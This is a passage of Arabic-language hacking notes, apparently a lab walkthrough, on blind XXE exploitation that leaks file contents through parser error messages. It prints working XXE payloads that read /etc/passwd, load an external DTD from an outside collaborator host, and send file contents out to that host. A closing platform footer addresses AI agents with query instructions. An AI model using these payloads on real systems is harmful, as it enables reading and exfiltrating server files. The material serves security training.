> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).

# تصفية بيانات XXE العمياء عبر رسائل الخطأ

### استغلال XXE أعمى لاستخراج البيانات عبر رسائل الخطأ

المختبر: تقوم ميزة Check stock بتحليل ملف XML دون عرض الإجابة مباشرةً. الهدف هو استخدام كيان خارجي (DTD مستضاف على خادم) لإحداث خطأ سيعرض محتويات `/etc/passwd` الملف في رسالة الاستثناء. تُستخدم تقنية إجبار المحلل على تضمين محتوى الملف ضمن URI غير موجود بحيث يكشف الاستثناء هذا المحتوى.

* نقطة الإدخال تُحلّل XML لكنها لا تُرجع النتيجة بشكل طبيعي.
* يسمح الخادم بتضمين DTD خارجي (مستضاف على نطاق الاستغلال).
* تحتوي رسالة خطأ المحلل على معلومات كافية بحيث إذا تسبب الـ DTD في مرجع سيئ الصياغة يتضمن محتويات ملف، فإن هذا المحتوى يظهر في الاستثناء.

#### تحميل DTD خارجي مستضاف على الخادم للعمل بإضافة `DOCTYPE` تعليمة تشير إلى عنوان URL لخادم الاستغلال:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://qf9v476vsapx2mqf01es1v7cu30xoncc.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/1cb8c4579e738ade220e8fc7b21cdf889607690e" alt=""><figcaption></figcaption></figure>

يُرجع المحلل خطأً من النوع:/ `خرج محلل XML مع خطأ: org.XML.sax.SAXParseException؛ systemId: https://qf9v476...؛ lineNumber: 1؛ columnNumber: 2؛ يجب أن تكون إعلانات التوسيم... مُشكَّلة جيدًا.`

2. محاولة مباشرة لسرد `/etc/passwd` (المشكلة: عدد الأسطر كبير جدًا):

```xml
<!ENTITY % file SYSTEM "file:////etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://rrmwg8iw4b1yen2gc2qtdwjd64c00qof.oastify.com/?content=%file;'>">
%eval;
%exfil;
```

<figure><img src="/files/2c6962909982f1938bda9d3cb18a6bbcbd392456" alt=""><figcaption></figcaption></figure>

3. التقنية المستخدمة مع سياق الخطأ — أدرج محتويات الملف في مرجع مستحيل لإجبار المحلل على عرضها في الاستثناء:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

من خلال تشغيل المرجع إلى `file:///nonexistent/%file;`، ينشئ المحلل استثناءً يحتوي على نص المورد المضمَّن (`/etc/passwd`)، مما يتيح استخراج المحتوى رغم غياب عودةٍ طبيعية إلى الوظيفة.

<figure><img src="/files/d070a594527df8343e4dc0ac538c4f9418cc61d4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
